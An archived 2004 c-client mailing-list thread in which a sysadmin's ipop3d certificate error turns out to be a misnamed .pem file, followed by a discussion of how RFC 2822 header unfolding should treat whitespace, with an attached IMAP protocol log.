From pinedev@shivax2.cac.washington.edu Mon Mar 29 10:05:10 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Mar 2004 10:05:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TI5A5w004474 for ; Mon, 29 Mar 2004 10:05:10 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TI57Mr006502 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Mar 2004 10:05:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2TI38KK005342; Mon, 29 Mar 2004 10:03:08 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TI0sWZ088208 for ; Mon, 29 Mar 2004 10:00:54 -0800 Received: from acrux.ligo.caltech.edu (acrux.ligo.caltech.edu [131.215.115.14]) by mxu5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TI0mFm031916 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Mon, 29 Mar 2004 10:00:48 -0800 Received: from ganymede (ganymede [131.215.115.216]) by acrux.ligo.caltech.edu (8.12.11/8.12.11) with SMTP id i2TI0l4g007503 for ; Mon, 29 Mar 2004 10:00:47 -0800 (PST) Message-Id: <200403291800.i2TI0l4g007503@acrux.ligo.caltech.edu> Date: Mon, 29 Mar 2004 10:00:47 -0800 (PST) Reply-To: Lisa Bogue Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lisa Bogue To: c-client@u.washington.edu Subject: ipops certificate problem MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: HwCxp3fxlJ9SAC4b/yQxHA== X-Spam-Score: 1.3 (*) LARGE_HEX,UPPERCASE_25_50 X-Bayes-Prob: 0.5 X-Canit-Stats-ID: 13930 - a7957e8c6e4f X-Scanned-By: CanIt (www . canit . ca) X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='UPPERCASE_25_50 0.450, LINES_OF_YELLING 0.001, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, LARGE_HEX 0.000, __HAS_MSGID 0, __UPPERCASE_25_50 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi All- I'm completely baffled about a problem I'm having. I recently put up a new primary mail server. It is solaris 8, sendmail-8.12.11, openssl-0.9.7d. I have a self-signed certificate and it is installed per the SSLBUILD instructions in /usr/local/ssl/certs/imapd.pem and copied the same file to ipopd.pem. To compile uw imap I did a plain, straight forward "make gso." Here's the weird part: imap over ssl works perfectly. Only pop has a problem. Using pop on Netscape 7 or Eudora 6, my server generates this error: ipop3d[4372]: [ID 890198 mail.alert] Unable to load certificate from /usr/local/ssl/certs/ipop3d.pem Using s_client, I get this: openssl s_client -connect localhost:995 -showcerts Mar 29 09:41:42 acrux ipop3d[7094]: [ID 890198 mail.alert] Unable to load certificate from /usr/local/ssl/certs/ipop3d.pem, host=localhost [127.0.0.1] CONNECTED(00000003) 7093:error:140790E5:SSL routines:SSL23_WRITE:ssl handshake failure:s23_lib.c:226: However, if I connect to the imap port I get this: openssl s_client -connect localhost:993 -showcerts CONNECTED(00000003) depth=0 /CN=acrux.ligo.caltech.edu/ST=California/C=US/emailAddress=ca@ligo.caltech.edu/O =LIGO Project/OU=caltech verify error:num=20:unable to get local issuer certificate verify return:1 depth=0 /CN=acrux.ligo.caltech.edu/ST=California/C=US/emailAddress=ca@ligo.caltech.edu/O =LIGO Project/OU=caltech verify error:num=27:certificate not trusted verify return:1 depth=0 /CN=acrux.ligo.caltech.edu/ST=California/C=US/emailAddress=ca@ligo.caltech.edu/O =LIGO Project/OU=caltech verify error:num=21:unable to verify the first certificate verify return:1 --- Certificate chain 0 s:/CN=acrux.ligo.caltech.edu/ST=California/C=US/emailAddress=ca@ligo.caltech.edu /O=LIGO Project/OU=caltech i:/CN=Becrux CA/ST=California/C=US/emailAddress=ca@ligo.caltech.edu/O=LIGO Certification Authority -----BEGIN CERTIFICATE----- MIIDFzCCAf+gAwIBAgIBHDANBgkqhkiG9w0BAQQFADCBgTESMBAGA1UEAxMJQmVj cnV4IENBMRMwEQYDVQQIEwpDYWxpZm9ybmlhMQswCQYDVQQGEwJVUzEiMCAGCSqG SIb3DQEJARYTY2FAbGlnby5jYWx0ZWNoLmVkdTElMCMGA1UEChMcTElHTyBDZXJ0 aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDAzMjkwNzU3MTVaFw0wOTAzMjgwNzU3 MTVaMIGQMR8wHQYDVQQDExZhY3J1eC5saWdvLmNhbHRlY2guZWR1MRMwEQYDVQQI EwpDYWxpZm9ybmlhMQswCQYDVQQGEwJVUzEiMCAGCSqGSIb3DQEJARYTY2FAbGln by5jYWx0ZWNoLmVkdTEVMBMGA1UEChMMTElHTyBQcm9qZWN0MRAwDgYDVQQLEwdj YWx0ZWNoMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjxjw8Tpomsf+zM5Xn azeutyUQXRbB7V4kJRJXzG1dELikxVyRyjbIHwfdiH+gD+P0M21J7pAMGi8Fgjy9 pmNGGpsYUgMFx+BDDkEr9gdxg2vWpmQccos42hvMGL/8N+ZxFnvh/OPXXCTTqFbG 7uzI0ltVm7sa6wR+d6Y4uhATJQIDAQABow0wCzAJBgNVHRMEAjAAMA0GCSqGSIb3 DQEBBAUAA4IBAQAWSX5IKZoN053YUOu/s+s0ay/Ny6zHyZRyS36BIquPPxFGwve0 an3A9CApgi5tVbxBp2vobrlLJ5kPFTNi07V1PF5WOOTCQWvE5QJmJ/N5/Bxvm4p5 1wBo0nyEb9PqqeWUXNNHuQ+eMukczAeydPQzQVqhvN8NSpgKIjj3r7icMDK+xaHY dMrK3hkqIoP09FgFng9S3Gm+8dQqn7eK8MjC0fCRYX7/YCrpjmo9CWPzd/EUwIVa wRQfi3ZY7yc6dyMNqfh0+XQoRklZ6oKVXfkBGm1LV1HmmTyR8TAVKg9629pMr0fT TmRFPzPtiEA3DLjxhUvIiVonxfwqgg5CPyhV -----END CERTIFICATE----- --- Server certificate subject=/CN=acrux.ligo.caltech.edu/ST=California/C=US/emailAddress=ca@ligo.calte ch.edu/O=LIGO Project/OU=caltech issuer=/CN=Becrux CA/ST=California/C=US/emailAddress=ca@ligo.caltech.edu/O=LIGO Certification Authority --- No client certificate CA names sent --- SSL handshake has read 957 bytes and written 346 bytes --- New, TLSv1/SSLv3, Cipher is AES256-SHA Server public key is 1024 bit SSL-Session: Protocol : TLSv1 Cipher : AES256-SHA Session-ID: 593BBBE25B22226C032BA882354A0BEFE3C9B0B7B41B7EBF0C6C6C252E4670A8 Session-ID-ctx: Master-Key: 3C36C1048411643D76C894EA56250339EDD31266823872C33C3791DF6589268204D5FA84DB9C2F20 F1DBBF932342B017 Key-Arg : None Start Time: 1080582177 Timeout : 300 (sec) Verify return code: 21 (unable to verify the first certificate) --- * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN] localhost IMAP4rev1 2003.346 at Mon, 29 Mar 2004 09:42:57 -0800 (PST) Any insight you all can offer would be greatly appreciated. Thanks- Lisa ------------------------- Lisa Bogue System Administration Group Ligo Project bogue_l@ligo.caltech.edu phone: 626-395-8739 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Mar 29 10:45:27 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Mar 2004 10:45:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TIjRVv006778 for ; Mon, 29 Mar 2004 10:45:27 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TIjPTZ008319 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Mar 2004 10:45:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2TIfL2x007556; Mon, 29 Mar 2004 10:41:21 -0800 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TIebUm094158 for ; Mon, 29 Mar 2004 10:40:37 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TIeaNb010934 for ; Mon, 29 Mar 2004 10:40:36 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TIeZUn015549; Mon, 29 Mar 2004 10:40:35 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TIeWQ1013591 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 29 Mar 2004 10:40:34 -0800 Message-Id: Date: Mon, 29 Mar 2004 10:40:36 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lisa Bogue Cc: c-client@u.washington.edu Subject: Re: ipops certificate problem In-Reply-To: <200403291800.i2TI0l4g007503@acrux.ligo.caltech.edu> References: <200403291800.i2TI0l4g007503@acrux.ligo.caltech.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 29 Mar 2004, Lisa Bogue wrote: > I have a self-signed certificate and it is installed per the SSLBUILD > instructions in /usr/local/ssl/certs/imapd.pem and copied the same file > to ipopd.pem. ^^^^^^^^^ > [ID 890198 mail.alert] Unable to load certificate from > /usr/local/ssl/certs/ipop3d.pem ^^^^^^^^^^ Hi Lisa, Look carefully at the two underlined names, the one that you installed, and the other that is mentioned in the error message. I think that you can now see the problem and how to fix it. I suggest that you replace your certificate, since you emailed it to the world (so any bad guy can replicate it). It's a private key and should be kept private. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Mar 29 11:58:47 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Mar 2004 11:58:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TJwlZ3011202 for ; Mon, 29 Mar 2004 11:58:47 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2TJwjl4011907 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Mar 2004 11:58:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2TJlxdc014632; Mon, 29 Mar 2004 11:47:59 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TJkorg064538 for ; Mon, 29 Mar 2004 11:46:50 -0800 Received: from acrux.ligo.caltech.edu (acrux.ligo.caltech.edu [131.215.115.14]) by mxu1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2TJkmCx012295 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Mon, 29 Mar 2004 11:46:48 -0800 Received: from ganymede (ganymede [131.215.115.216]) by acrux.ligo.caltech.edu (8.12.11/8.12.11) with SMTP id i2TJkgH9009026; Mon, 29 Mar 2004 11:46:42 -0800 (PST) Message-Id: <200403291946.i2TJkgH9009026@acrux.ligo.caltech.edu> Date: Mon, 29 Mar 2004 11:46:42 -0800 (PST) Reply-To: Lisa Bogue Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lisa Bogue To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: Re: ipops certificate problem MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: K8X08xLednNqiS+Xjacbgw== X-Spam-Score: 0 () X-Bayes-Prob: 0.5 X-Canit-Stats-ID: 14381 - 1083b9ec8da1 X-Scanned-By: CanIt (www . canit . ca) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > >On Mon, 29 Mar 2004, Lisa Bogue wrote: >> I have a self-signed certificate and it is installed per the SSLBUILD >> instructions in /usr/local/ssl/certs/imapd.pem and copied the same file >> to ipopd.pem. > ^^^^^^^^^ > >> [ID 890198 mail.alert] Unable to load certificate from >> /usr/local/ssl/certs/ipop3d.pem > ^^^^^^^^^^ > >Hi Lisa, > >Look carefully at the two underlined names, the one that you installed, >and the other that is mentioned in the error message. I think that you >can now see the problem and how to fix it. > >I suggest that you replace your certificate, since you emailed it to the >world (so any bad guy can replicate it). It's a private key and should be >kept private. > >-- Mark -- Mark- Thank-you so much! I was hoping that it was me being blond. No worries on the certificate. It was one that I generated for testing and has already been removed from the system. It occurred to me the last time you were kind enough to help me that you aren't very far from our observatory in the tri-cities area. If you would ever like a tour, let me know. I'd be happy to set one up for you. Cheers! L. From pinedev@shivax2.cac.washington.edu Mon Mar 29 17:18:27 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Mar 2004 17:18:27 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U1IRxm026925 for ; Mon, 29 Mar 2004 17:18:27 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U1IP9x025676 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Mar 2004 17:18:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2U1D4GD005186; Mon, 29 Mar 2004 17:13:04 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2U1BWco019648 for ; Mon, 29 Mar 2004 17:11:32 -0800 Received: from darwin.syr.edu (darwin.syr.edu [128.230.4.54]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2U1BUp5007854 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Mon, 29 Mar 2004 17:11:31 -0800 Received: from [192.168.1.100] (rrcs-nys-24-24-29-68.biz.rr.com [24.24.29.68]) (authenticated bits=0) by darwin.syr.edu (8.12.10/8.12.10) with ESMTP id i2U1BPhH014690 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 29 Mar 2004 20:11:28 -0500 (EST) Message-Id: <2147483647.1080591083@[192.168.1.100]> Date: Mon, 29 Mar 2004 20:11:23 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Christopher T. Beers" To: c-client@u.washington.edu Subject: RFC2822 and Long Header lines MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="==========2AE4953EA29B382ADFCB==========" X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========2AE4953EA29B382ADFCB========== Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline For example, our listserv software from lsoft chooses to fold long list subject lines like this From: hotnews@syr.edu Subject: CAMPUS HOT NEWS: March 31: Award Ceremony Recognizes Geology Students To: HOTNEWS@listserv.syr.edu When Mulberry (my mail client) sees this message it formats the subject line in the header like this (notice the spaces/tabs between geology and students). Subject: CAMPUS HOT NEWS: March 31: Award Ceremony Recognizes Geology Students My interpretation of the rules is that all white space between CRLF and the first character should should be replace with one space (if the mail client wished to unfold the long header line) See 2.2.3. LONG HEADER FIELDS in RFC2822. I contacted the Mulberry lists and Cyrus Daboo claims that the client interprets what the IMAP server send it. Below is a log of what Mulberry received and you can see the unfolding in IMAP 2002e is not being handled correctly. I am attempting to attach the text log file since its formatted correctly. -- Christopher T. Beers UNIX Systems Engineer - Syracuse University 250 Machinery Hall Syracuse, NY 13244 (315) 443-4103 Office (315) 443-1621 Fax --==========2AE4953EA29B382ADFCB========== Content-Type: text/plain; charset=us-ascii; name="IMAPlog.txt" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="IMAPlog.txt"; size=3069 --> #Logging started by user on Mon Mar 29 16:20:37 2004 --> #2.-1610571284 Mon Mar 29 16:20:40 2004 A01389 UNSELECT A01389 OK UNSELECT completed --> #2.-1610571284 Mon Mar 29 16:20:40 2004 A01390 SELECT ~/mail/Incoming/test * 1 EXISTS * 1 RECENT * OK [UIDVALIDITY 1080595125] UID validity status * OK [UIDNEXT 2] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS (\* \Answered \Flagged \Deleted \Draft \Seen)] Permanent flags A01390 OK [READ-WRITE] SELECT completed --> #2.-1610571284 Mon Mar 29 16:20:40 2004 A01391 SEARCH UNSEEN * SEARCH A01391 OK SEARCH completed --> #2.-1610571284 Mon Mar 29 16:20:40 2004 A01392 SEARCH DELETED * SEARCH A01392 OK SEARCH completed --> #2.-1610571284 Mon Mar 29 16:20:41 2004 A01393 FETCH 1 (FLAGS RFC822.SIZE UID INTERNALDATE ENVELOPE BODYSTRUCTURE) * 1 FETCH (FLAGS (\Recent \Seen) RFC822.SIZE 2073 UID 1 INTERNALDATE "20-Aug-2002 11:46:41 -0400" ENVELOPE ("Tue, 20 Aug 2002 11:45:28 -0400" "CAMPUS HOT NEWS: Goldstein Alumni & Faculty Center Restaurant Opens" ((NIL NIL "hotnews" "syr.edu")) (("HOTNEWS Messages" NIL "HOTNEWS" "LISTSERV.SYR.EDU")) ((NIL NIL "hotnews" "syr.edu")) ((NIL NIL "HOTNEWS" "LISTSERV.SYR.EDU")) NIL NIL NIL "") BODYSTRUCTURE ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 722 21 NIL NIL NIL NIL)) A01393 OK FETCH completed --> #2.-1610571284 Mon Mar 29 16:20:42 2004 A01394 FETCH 1 (BODY[1]) * 1 FETCH (BODY[1] {722} ) A01394 OK FETCH completed --> #2.-1610571284 Mon Mar 29 16:20:44 2004 A01395 FETCH 1 (RFC822.HEADER) * 1 FETCH (RFC822.HEADER {1351} Received: from syr.edu by gwia201.syr.edu; Tue, 20 Aug 2002 11:46:13 -0400 Received: from mailer.syr.edu (mailer.syr.edu [128.230.18.29]) by syr.edu (8.9.3/8.9.3) with ESMTP id LAA05824; Tue, 20 Aug 2002 11:46:02 -0400 (EDT) Received: from listserv (listserv.syr.edu) by mailer.syr.edu (LSMTP for Windows NT v1.1b) with SMTP id <0.011E9ECD@mailer.syr.edu>; Tue, 20 Aug 2002 11:45:40 -0400 Received: from LISTSERV.SYR.EDU by LISTSERV.SYR.EDU (LISTSERV-TCP/IP release 1.8d) with spool id 575584 for HOTNEWS@LISTSERV.SYR.EDU; Tue, 20 Aug 2002 11:45:40 -0400 Received: from mailer.syr.edu by listserv.syr.edu (LSMTP for Windows NT v1.1b) with SMTP id <0.00030A4D@listserv.syr.edu>; Tue, 20 Aug 2002 11:45:39 -0400 Received: from mailer.syr.edu (cwis03.syr.edu) by mailer.syr.edu (LSMTP for Windows NT v1.1b) with SMTP id <0.011E9EC3@mailer.syr.edu>; Tue, 20 Aug 2002 11:45:38 -0400 Content-type: text/plain Approved-By: hotnews@SYR.EDU Message-ID: Date: Tue, 20 Aug 2002 11:45:28 -0400 Reply-To: hotnews@syr.edu Sender: HOTNEWS Messages From: hotnews@syr.edu Subject: CAMPUS HOT NEWS: Goldstein Alumni & Faculty Center Restaurant Opens To: HOTNEWS@LISTSERV.SYR.EDU ) A01395 OK FETCH completed --> #Logging stopped by user on Mon Mar 29 16:20:55 2004 --==========2AE4953EA29B382ADFCB==========-- From pinedev@shivax2.cac.washington.edu Mon Mar 29 17:55:55 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Mar 2004 17:55:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U1ttZc028142 for ; Mon, 29 Mar 2004 17:55:55 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U1trEg029161 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Mar 2004 17:55:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2U1j086005272; Mon, 29 Mar 2004 17:45:00 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2U1iB1b037432 for ; Mon, 29 Mar 2004 17:44:11 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu6.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2U1iAcp018996 for ; Mon, 29 Mar 2004 17:44:10 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U1i9DP001988; Mon, 29 Mar 2004 17:44:09 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U1i9mK021415 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 29 Mar 2004 17:44:09 -0800 Message-Id: Date: Mon, 29 Mar 2004 17:42:19 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Christopher T. Beers" Cc: c-client@u.washington.edu Subject: Re: RFC2822 and Long Header lines In-Reply-To: <2147483647.1080591083@[192.168.1.100]> References: <2147483647.1080591083@[192.168.1.100]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for your report. The email specifications have always danced around the issue of multiple WSP in continuation for an unstructured field body (such as Subject). RFC 2822 is no exception. The exact text in RFC 2822 section 2.2.3 is: [...] Unfolding is accomplished by simply removing any CRLF that is immediately followed by WSP. You interpret that statement to mean that unfolding is accomplished by substituting a single WSP for CRLF and one or more WSP. c-client takes the more conservative interpretation of removing just the CRLF. I believe that c-client's interpretation is closer to what RFC 2822 says. If your interpreted was intended, RFC 2822 would have said something like: [...] Unfolding is accomplished by removing any occurance of CRLF and following WSP. Although I agree that in your specific example, the behavior you suggest is probably "better", that behavior is also destructive. If, for whatever reason, that additional WSP is considered to be significant, your suggested because would cause damage to the string. Furthermore, there is no reason to believe that one WSP is equivalent to multiple WSP in an unstructured field body. Put another way, if c-client did as you suggested and it caused a problem, I would be hard-pressed to defend it given the text in RFC 2822. Consequently, I believe that c-client is correct as-is and am not going to change this behavior. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Mar 29 18:48:39 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 29 Mar 2004 18:48:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U2mdaw029662 for ; Mon, 29 Mar 2004 18:48:39 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.02) with ESMTP id i2U2mbij028653 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 29 Mar 2004 18:48:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i2U2lRUa012406; Mon, 29 Mar 2004 18:47:28 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2U2ka2b117570 for ; Mon, 29 Mar 2004 18:46:37 -0800 Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.198.39]) by mxu3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i2U2kZ3H001830 for ; Mon, 29 Mar 2004 18:46:35 -0800 Received: from chuyler1 (h0800201a5de2.ne.client2.attbi.com[24.62.22.67]) by comcast.net (rwcrmhc13) with SMTP id <20040330024634015007pt4he>; Tue, 30 Mar 2004 02:46:35 +0000 Message-Id: <000101c41601$4b0343a0$0a01a8c0@chuyler1> Date: Mon, 29 Mar 2004 21:47:06 -0500 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Christopher Huyler" To: "'Dirk Jahnke'" , Subject: RE: imapd with PAM authentication on Solaris 8 In-Reply-To: <4067D31A.1080507@desy.de> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __OUTLOOK_MSGID_1 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CTYPE_CHARSET_QUOTED 